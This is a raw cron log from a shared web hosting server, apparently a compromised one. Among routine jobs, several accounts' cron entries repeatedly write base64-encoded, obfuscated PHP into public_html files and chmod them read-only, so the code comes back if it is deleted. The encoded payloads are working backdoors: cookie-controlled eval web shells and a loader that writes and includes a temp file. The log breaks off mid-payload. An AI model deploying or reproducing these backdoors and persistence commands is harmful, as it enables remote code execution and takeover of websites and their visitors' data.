Jun  7 11:11:01 medusa CROND[27891]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:11:01 medusa CROND[27900]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:11:01 medusa CROND[27905]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:12:01 medusa CROND[29514]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:12:01 medusa CROND[29566]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:12:01 medusa CROND[29567]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:12:01 medusa CROND[29568]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:12:01 medusa CROND[29569]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:12:01 medusa CROND[29570]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:12:01 medusa CROND[29571]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:12:01 medusa CROND[29572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:12:01 medusa CROND[29573]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 11:12:01 medusa CROND[29575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:12:01 medusa CROND[29576]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:12:01 medusa CROND[29577]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:12:01 medusa CROND[29583]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:12:01 medusa CROND[29586]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:12:01 medusa CROND[29588]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:13:01 medusa CROND[31050]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:13:01 medusa CROND[31052]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:13:01 medusa CROND[31053]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:13:01 medusa CROND[31054]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:13:01 medusa CROND[31051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:13:01 medusa CROND[31055]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:13:01 medusa CROND[31056]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:13:01 medusa CROND[31057]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:13:01 medusa CROND[31061]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:13:01 medusa CROND[31063]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:13:01 medusa CROND[31062]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gP